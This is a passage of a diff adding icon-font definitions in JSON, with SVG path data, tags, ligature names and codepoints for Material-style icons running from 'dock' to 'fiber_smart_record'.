84v598c0 46-40 84-86 84h-340c-46 0-86-38-86-84v-598c0-46 40-86 86-86zM342 982v-86h340v86h-340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dock" + ], + "defaultCode": 58126, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dock", + "id": 231, + "order": 242, + "prevSize": 24, + "code": 58126, + "name": "dock" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 231 + }, + { + "icon": { + "paths": [ + "M384 692l452-454 60 60-512 512-238-238 58-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "done" + ], + "defaultCode": 59510, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "done", + "id": 232, + "order": 243, + "prevSize": 24, + "code": 59510, + "name": "done" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 232 + }, + { + "icon": { + "paths": [ + "M18 572l60-60 238 238-60 60zM948 238l62 60-512 512-240-238 62-60 178 178zM768 298l-270 272-60-60 270-272z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "done_all" + ], + "defaultCode": 59511, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "done_all", + "id": 233, + "order": 244, + "prevSize": 24, + "code": 59511, + "name": "done_all" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 233 + }, + { + "icon": { + "paths": [ + "M554 808c128-18 238-126 256-254h128c-20 214-170 364-384 384v-130zM810 470c-18-128-128-236-256-254v-130c214 20 364 170 384 384h-128zM470 216c-128 20-256 146-256 296s128 276 256 296v130c-214-22-384-204-384-426s170-404 384-426v130z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "donut_large" + ], + "defaultCode": 59671, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "donut_large", + "id": 234, + "order": 245, + "prevSize": 24, + "code": 59671, + "name": "donut_large" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 234 + }, + { + "icon": { + "paths": [ + "M554 634c42-12 66-44 80-80h304c-20 202-170 364-384 384v-304zM634 470c-14-36-38-68-80-80v-304c214 20 364 182 384 384h-304zM470 390c-42 18-86 66-86 122s44 104 86 122v304c-214-22-384-204-384-426s170-404 384-426v304z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "donut_small" + ], + "defaultCode": 59672, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "donut_small", + "id": 235, + "order": 246, + "prevSize": 24, + "code": 59672, + "name": "donut_small" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 235 + }, + { + "icon": { + "paths": [ + "M512 554l352-220-352-206-352 206zM938 342v426c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-426c0-30 16-60 40-74l386-226 386 226c24 14 40 44 40 74z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "drafts" + ], + "defaultCode": 57681, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "drafts", + "id": 236, + "order": 247, + "prevSize": 24, + "code": 57681, + "name": "drafts" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 236 + }, + { + "icon": { + "paths": [ + "M170 640v-86h684v86h-684zM854 384v86h-684v-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "drag_handle" + ], + "defaultCode": 57949, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "drag_handle", + "id": 237, + "order": 248, + "prevSize": 24, + "code": 57949, + "name": "drag_handle" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 237 + }, + { + "icon": { + "paths": [ + "M214 426h596l-64-192h-468zM746 640c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM278 640c36 0 64-28 64-64s-28-64-64-64-64 28-64 64 28 64 64 64zM808 214l88 256v340c0 24-18 44-42 44h-44c-24 0-42-20-42-44v-42h-512v42c0 24-18 44-42 44h-44c-24 0-42-20-42-44v-340l88-256c8-26 34-44 62-44h468c28 0 54 18 62 44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "time_to_leave" + ], + "defaultCode": 58924, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "drive_eta, time_to_leave", + "id": 238, + "order": 249, + "prevSize": 24, + "code": 58924, + "name": "time_to_leave" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 238 + }, + { + "icon": { + "paths": [ + "M298 512v86h-84v-86h84zM298 342v84h-84v-84h84zM810 512v86h-468v-86h468zM810 342v84h-468v-84h468zM896 726v-512h-768v512h768zM896 128c46 0 86 40 86 86l-2 512c0 46-38 84-84 84h-214v86h-340v-86h-214c-46 0-86-38-86-84v-512c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "dvr" + ], + "defaultCode": 57778, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "dvr", + "id": 239, + "order": 250, + "prevSize": 24, + "code": 57778, + "name": "dvr" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 239 + }, + { + "icon": { + "paths": [ + "M636 322c6-6 6-16 0-22l-40-40c-6-6-16-6-22 0l-30 30 62 62zM446 512l142-142-62-62-142 142v62h62zM512 86c164 0 298 134 298 298 0 224-298 554-298 554s-298-330-298-554c0-164 134-298 298-298z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "edit_location" + ], + "defaultCode": 58728, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "edit_location", + "id": 240, + "order": 251, + "prevSize": 24, + "code": 58728, + "name": "edit_location" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 240 + }, + { + "icon": { + "paths": [ + "M512 214l284 426h-568zM214 726h596v84h-596v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "eject" + ], + "defaultCode": 59643, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "eject", + "id": 241, + "order": 252, + "prevSize": 24, + "code": 59643, + "name": "eject2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 241 + }, + { + "icon": { + "paths": [ + "M854 342v-86l-342 214-342-214v86l342 212zM854 170c46 0 84 40 84 86v512c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "markunread" + ], + "defaultCode": 57689, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "email, local_post_office, mail, markunread", + "id": 242, + "order": 253, + "prevSize": 24, + "code": 57689, + "name": "markunread" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 242 + }, + { + "icon": { + "paths": [ + "M682 682v-84h-128v-128h-84v128h-128v84h128v128h84v-128h128zM380 256v86h264v-86c0-72-60-132-132-132s-132 60-132 132zM768 342c46 0 86 38 86 84v428c0 46-40 84-86 84h-512c-46 0-86-38-86-84v-428c0-46 40-84 86-84h42v-86c0-118 96-214 214-214s214 96 214 214v86h42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "enhanced_encryption" + ], + "defaultCode": 58943, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "enhanced_encryption", + "id": 243, + "order": 254, + "prevSize": 24, + "code": 58943, + "name": "enhanced_encryption" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 243 + }, + { + "icon": { + "paths": [ + "M682 384h172v470h-172v-470zM170 854v-342h172v342h-172zM426 854v-684h172v684h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "equalizer" + ], + "defaultCode": 57373, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "equalizer", + "id": 244, + "order": 255, + "prevSize": 24, + "code": 57373, + "name": "equalizer" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 244 + }, + { + "icon": { + "paths": [ + "M554 554v-256h-84v256h84zM554 726v-86h-84v86h84zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "error" + ], + "defaultCode": 57344, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "error", + "id": 245, + "order": 256, + "prevSize": 24, + "code": 57344, + "name": "error" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 245 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342s-154-342-342-342-342 154-342 342 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM470 298h84v256h-84v-256zM470 640h84v86h-84v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "error_outline" + ], + "defaultCode": 57345, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "error_outline", + "id": 246, + "order": 257, + "prevSize": 24, + "code": 57345, + "name": "error_outline" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 246 + }, + { + "icon": { + "paths": [ + "M640 790c70 0 132-26 180-68l76 76c-68 62-158 98-256 98-168 0-310-108-362-256h-150v-86h130c-2-14-2-28-2-42s0-28 2-42h-130v-86h150c52-148 194-256 362-256 98 0 188 36 256 98l-76 76c-48-42-112-68-180-68-106 0-200 62-246 150h246v86h-274c-2 14-4 28-4 42s2 28 4 42h274v86h-246c46 88 138 150 246 150z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "euro_symbol" + ], + "defaultCode": 59686, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "euro_symbol", + "id": 247, + "order": 258, + "prevSize": 24, + "code": 59686, + "name": "euro_symbol" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 247 + }, + { + "icon": { + "paths": [ + "M342 768l170-298h-86v-214l-170 320h86v192zM768 426c24 0 42-18 42-42s-18-42-42-42-42 18-42 42 18 42 42 42zM844 308c20 20 30 46 30 76v406c0 58-48 106-106 106s-106-48-106-106v-214h-64v320h-428v-682c0-46 40-86 86-86h256c46 0 86 40 86 86v298h42c46 0 86 40 86 86v192c0 24 18 42 42 42s42-18 42-42v-308c-14 6-26 8-42 8-58 0-106-48-106-106 0-46 28-84 68-100l-90-90 46-44z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "ev_station" + ], + "defaultCode": 58733, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "ev_station", + "id": 248, + "order": 259, + "prevSize": 24, + "code": 58733, + "name": "ev_station" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 248 + }, + { + "icon": { + "paths": [ + "M810 810v-468h-596v468h596zM682 42h86v86h42c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h42v-86h86v86h340v-86zM726 512v214h-214v-214h214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "insert_invitation" + ], + "defaultCode": 57935, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "event, insert_invitation", + "id": 249, + "order": 260, + "prevSize": 24, + "code": 57935, + "name": "insert_invitation" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 249 + }, + { + "icon": { + "paths": [ + "M810 810v-468h-596v468h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h42v-86h86v86h340v-86h86v86h42zM706 472l-254 254-136-136 46-46 90 90 208-208z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "event_available" + ], + "defaultCode": 58900, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "event_available", + "id": 250, + "order": 261, + "prevSize": 24, + "code": 58900, + "name": "event_available" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 250 + }, + { + "icon": { + "paths": [ + "M810 810v-468h-596v468h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h42v-86h86v86h340v-86h86v86h42zM398 726l-46-46 104-104-104-104 46-46 104 104 104-104 44 46-104 104 104 104-44 46-104-104z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "event_busy" + ], + "defaultCode": 58901, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "event_busy", + "id": 251, + "order": 262, + "prevSize": 24, + "code": 58901, + "name": "event_busy" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 251 + }, + { + "icon": { + "paths": [ + "M598 598v84h-300v-84h300zM810 810v-468h-596v468h596zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-596c0-46 38-86 86-86h42v-86h86v86h340v-86h86v86h42zM726 426v86h-428v-86h428z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "event_note" + ], + "defaultCode": 58902, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "event_note", + "id": 252, + "order": 263, + "prevSize": 24, + "code": 58902, + "name": "event_note" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 252 + }, + { + "icon": { + "paths": [ + "M726 554h-428v-340c0-46 40-86 86-86h256c46 0 86 40 86 86v340zM86 426h128v128h-128v-128zM810 426h128v128h-128v-128zM170 896v-256h684v256h-128v-128h-428v128h-128z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "event_seat" + ], + "defaultCode": 59651, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "event_seat", + "id": 253, + "order": 264, + "prevSize": 24, + "code": 59651, + "name": "event_seat" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 253 + }, + { + "icon": { + "paths": [ + "M810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-48 0-86-40-86-86v-170h86v170h596v-596h-596v170h-86v-170c0-46 38-86 86-86h596zM430 666l110-112h-412v-84h412l-110-112 60-60 214 214-214 214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exit_to_app" + ], + "defaultCode": 59513, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exit_to_app", + "id": 254, + "order": 265, + "prevSize": 24, + "code": 59513, + "name": "exit_to_app" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 254 + }, + { + "icon": { + "paths": [ + "M512 342l256 256-60 60-196-196-196 196-60-60z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "expand_less" + ], + "defaultCode": 58830, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "expand_less", + "id": 255, + "order": 266, + "prevSize": 24, + "code": 58830, + "name": "expand_less" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 255 + }, + { + "icon": { + "paths": [ + "M708 366l60 60-256 256-256-256 60-60 196 196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "expand_more" + ], + "defaultCode": 58831, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "expand_more", + "id": 256, + "order": 267, + "prevSize": 24, + "code": 58831, + "name": "expand_more" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 256 + }, + { + "icon": { + "paths": [ + "M640 384v-86h-256v428h256v-86h-170v-86h170v-84h-170v-86h170zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "explicit" + ], + "defaultCode": 57374, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "explicit", + "id": 257, + "order": 268, + "prevSize": 24, + "code": 57374, + "name": "explicit" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 257 + }, + { + "icon": { + "paths": [ + "M606 606l162-350-350 162-162 350zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM512 466c26 0 46 20 46 46s-20 46-46 46-46-20-46-46 20-46 46-46z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "explore" + ], + "defaultCode": 59514, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "explore", + "id": 258, + "order": 269, + "prevSize": 24, + "code": 59514, + "name": "explore" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 258 + }, + { + "icon": { + "paths": [ + "M854 854v-684l-684 684h684zM214 214v84h256v-84h-256zM854 86c46 0 84 38 84 84v684c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-684c0-46 38-84 84-84h684zM640 726h-86v-86h86v-86h86v86h84v86h-84v84h-86v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exposure" + ], + "defaultCode": 58314, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exposure", + "id": 259, + "order": 270, + "prevSize": 24, + "code": 58314, + "name": "exposure" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 259 + }, + { + "icon": { + "paths": [ + "M810 768h-84v-454l-128 44v-72l200-72h12v554zM170 470h342v84h-342v-84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exposure_neg_1" + ], + "defaultCode": 58315, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exposure_neg_1", + "id": 260, + "order": 271, + "prevSize": 24, + "code": 58315, + "name": "exposure_neg_1" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 260 + }, + { + "icon": { + "paths": [ + "M86 470h340v84h-340v-84zM702 214c103.361 0 172 46.875 172 150 0 16-2 34-8 50s-12 34-22 50c-21.913 35.061-50.22 70.22-80 100l-122 132h254v72h-368v-64l178-194c27.051-27.051 44.466-50.776 62-80 10.155-16.925 14-31.054 14-56 0-12 0-26-4-36-11.918-29.795-34.301-52-76-52-60.876 0-92 36.935-92 98h-92c0-51.336 20.69-92.69 48-120 31.385-31.385 73.692-50 136-50z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exposure_neg_2" + ], + "defaultCode": 58316, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exposure_neg_2", + "id": 261, + "order": 272, + "prevSize": 24, + "code": 58316, + "name": "exposure_neg_2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 261 + }, + { + "icon": { + "paths": [ + "M854 768h-86v-454l-128 44v-72l200-72h14v554zM426 298v172h172v84h-172v172h-84v-172h-172v-84h172v-172h84z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exposure_plus_1" + ], + "defaultCode": 58317, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exposure_plus_1", + "id": 262, + "order": 273, + "prevSize": 24, + "code": 58317, + "name": "exposure_plus_1" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 262 + }, + { + "icon": { + "paths": [ + "M342 298v172h170v84h-170v172h-86v-172h-170v-84h170v-172h86zM684 696h254v72h-368v-64l178-194c27.051-27.051 44.466-50.776 62-80 9.657-16.095 16-33.377 16-56 0-27.976-9.972-45.963-22-62-12.776-17.035-30.076-26-60-26-30.802 0-54.673 12.673-70 28-13.992 13.992-22 43.42-22 70h-92c0-51.336 20.69-92.69 48-120 16-16 34-30 58-38s50-12 80-12c28 0 50 4 72 10 20 8 40 16 54 30 26.805 22.976 46 61.985 46 110 0 40.444-14.717 72.348-32 100-10 16-20 34-34 50s-30 34-46 50z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exposure_plus_2" + ], + "defaultCode": 58318, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exposure_plus_2", + "id": 263, + "order": 274, + "prevSize": 24, + "code": 58318, + "name": "exposure_plus_2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 263 + }, + { + "icon": { + "paths": [ + "M598 432c0-51.604-2.887-85.33-22-114-8-12-18-18-28-24s-22-8-36-8-26 2-36 8-20 12-28 24c-19.070 28.606-22 62.453-22 114v114c0 68.64 9.322 117.593 50 142 10 6 22 8 36 8 33.536 0 49.61-12.416 64-34 17.74-26.61 24-68.817 24-116v-114h-2zM336 446c0-137.059 42.756-232 176-232 93.018 0 143.69 47.837 164 124 8 30 14 64 14 108v88h-2c0 79.48-15.373 138.051-48 180-16 18-34 34-56 42s-46 12-72 12-50-4-72-12-40-24-56-42c-34.893-39.254-48-102.511-48-180v-88z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "exposure_zero" + ], + "defaultCode": 58319, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "exposure_zero", + "id": 264, + "order": 275, + "prevSize": 24, + "code": 58319, + "name": "exposure_zero" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 264 + }, + { + "icon": { + "paths": [ + "M874 470c58 0 108 48 108 106s-50 106-108 106h-64v172c0 46-38 84-84 84h-162v-64c0-64-52-114-116-114s-116 50-116 114v64h-162c-46 0-84-38-84-84v-162h64c64 0 114-52 114-116s-50-116-114-116h-64v-162c0-46 38-84 84-84h172v-64c0-58 48-108 106-108s106 50 106 108v64h172c46 0 84 38 84 84v172h64z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "extension" + ], + "defaultCode": 59515, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "extension", + "id": 265, + "order": 276, + "prevSize": 24, + "code": 59515, + "name": "extension" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 265 + }, + { + "icon": { + "paths": [ + "M512 854c188 0 342-154 342-342 0-34-6-66-14-96-30 8-62 10-96 10-144 0-270-70-348-180-42 102-124 186-224 230-2 12-2 24-2 36 0 188 154 342 342 342zM512 86c236 0 426 190 426 426s-190 426-426 426-426-190-426-426 190-426 426-426zM640 502c30 0 54 22 54 52s-24 54-54 54-54-24-54-54 24-52 54-52zM384 502c30 0 54 22 54 52s-24 54-54 54-54-24-54-54 24-52 54-52z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "face" + ], + "defaultCode": 59516, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "face", + "id": 266, + "order": 277, + "prevSize": 24, + "code": 59516, + "name": "face" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 266 + }, + { + "icon": { + "paths": [ + "M554 256l364 256-364 256v-512zM170 768v-512l364 256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fast_forward" + ], + "defaultCode": 57375, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fast_forward", + "id": 267, + "order": 278, + "prevSize": 24, + "code": 57375, + "name": "fast_forward" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 267 + }, + { + "icon": { + "paths": [ + "M490 512l364-256v512zM470 768l-364-256 364-256v512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fast_rewind" + ], + "defaultCode": 57376, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fast_rewind", + "id": 268, + "order": 279, + "prevSize": 24, + "code": 57376, + "name": "fast_rewind" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 268 + }, + { + "icon": { + "paths": [ + "M512 910l-62-56c-220-200-364-330-364-492 0-132 102-234 234-234 74 0 146 36 192 90 46-54 118-90 192-90 132 0 234 102 234 234 0 162-144 294-364 494z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "favorite" + ], + "defaultCode": 59517, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "favorite", + "id": 269, + "order": 280, + "prevSize": 24, + "code": 59517, + "name": "favorite" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 269 + }, + { + "icon": { + "paths": [ + "M516 792c204-184 338-306 338-430 0-86-64-148-150-148-66 0-130 42-152 100h-80c-22-58-86-100-152-100-86 0-150 62-150 148 0 124 134 246 338 430l4 4zM704 128c132 0 234 102 234 234 0 162-144 292-364 492l-62 56-62-54c-220-200-364-332-364-494 0-132 102-234 234-234 74 0 146 36 192 90 46-54 118-90 192-90z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "favorite_border" + ], + "defaultCode": 59518, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "favorite_border", + "id": 270, + "order": 281, + "prevSize": 24, + "code": 59518, + "name": "favorite_border" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 270 + }, + { + "icon": { + "paths": [ + "M512 298v-84h-384v84h384zM512 470v-86h-384v86h384zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "featured_play_list" + ], + "defaultCode": 57453, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "featured_play_list", + "id": 271, + "order": 282, + "prevSize": 24, + "code": 57453, + "name": "featured_play_list" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 271 + }, + { + "icon": { + "paths": [ + "M512 512v-298h-384v298h384zM896 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-768c-46 0-86-40-86-86v-596c0-46 40-86 86-86h768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "featured_video" + ], + "defaultCode": 57454, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "featured_video", + "id": 272, + "order": 283, + "prevSize": 24, + "code": 57454, + "name": "featured_video" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 272 + }, + { + "icon": { + "paths": [ + "M554 426v-170h-84v170h84zM554 598v-86h-84v86h84zM854 86c46 0 84 38 84 84v512c0 46-38 86-84 86h-598l-170 170v-768c0-46 38-84 84-84h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "sms_failed" + ], + "defaultCode": 58918, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "feedback, sms_failed", + "id": 273, + "order": 284, + "prevSize": 24, + "code": 58918, + "name": "sms_failed" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 273 + }, + { + "icon": { + "paths": [ + "M896 490v-42c0-36-28-64-64-64h-150v256h64v-86h50l36 86h64l-38-90c22-10 38-34 38-60zM538 640l76-256h-64l-44 146-42-146h-64l74 256h64zM342 576v-128c0-36-28-64-64-64h-150v256h150c36 0 64-28 64-64zM896 128c48 0 86 38 86 86v596c0 46-38 86-86 86h-768c-48 0-86-40-86-86v-596c0-48 38-86 86-86h768zM192 448h86v128h-86v-128zM746 448h86v42h-86v-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fiber_dvr" + ], + "defaultCode": 57437, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fiber_dvr", + "id": 274, + "order": 285, + "prevSize": 24, + "code": 57437, + "name": "fiber_dvr" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 274 + }, + { + "icon": { + "paths": [ + "M170 512c0-188 154-342 342-342s342 154 342 342-154 342-342 342-342-154-342-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fiber_manual_record" + ], + "defaultCode": 57441, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fiber_manual_record", + "id": 275, + "order": 286, + "prevSize": 24, + "code": 57441, + "name": "fiber_manual_record" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 275 + }, + { + "icon": { + "paths": [ + "M874 598v-214h-52v192h-48v-150h-54v150h-48v-192h-54v214c0 24 20 42 44 42h170c24 0 42-18 42-42zM576 438v-54h-170v256h170v-54h-106v-46h106v-54h-106v-48h106zM362 640v-256h-52v150l-108-150h-52v256h52v-150l110 150h50zM854 170c48 0 84 38 84 86v512c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-512c0-48 36-86 84-86h684z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fiber_new" + ], + "defaultCode": 57438, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fiber_new", + "id": 276, + "order": 287, + "prevSize": 24, + "code": 57438, + "name": "fiber_new" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 276 + }, + { + "icon": { + "paths": [ + "M854 640v-256h-54v150l-106-150h-54v256h54v-150l108 150h52zM534 640v-256h-64v256h64zM384 490v-42c0-36-28-64-64-64h-150v256h64v-86h86c36 0 64-28 64-64zM854 170c48 0 84 38 84 86v512c0 48-36 86-84 86h-684c-48 0-84-38-84-86v-512c0-48 36-86 84-86h684zM234 448h86v42h-86v-42z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fiber_pin" + ], + "defaultCode": 57450, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fiber_pin", + "id": 277, + "order": 288, + "prevSize": 24, + "code": 57450, + "name": "fiber_pin" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 277 + }, + { + "icon": { + "paths": [ + "M726 182c148 38 256 170 256 330s-108 292-256 330v-88c100-34 170-130 170-242s-70-208-170-242v-88zM42 512c0-188 154-342 342-342s342 154 342 342-154 342-342 342-342-154-342-342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fiber_smart_record" + ], + "defaultCode": 57442, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fiber_smart_record", + 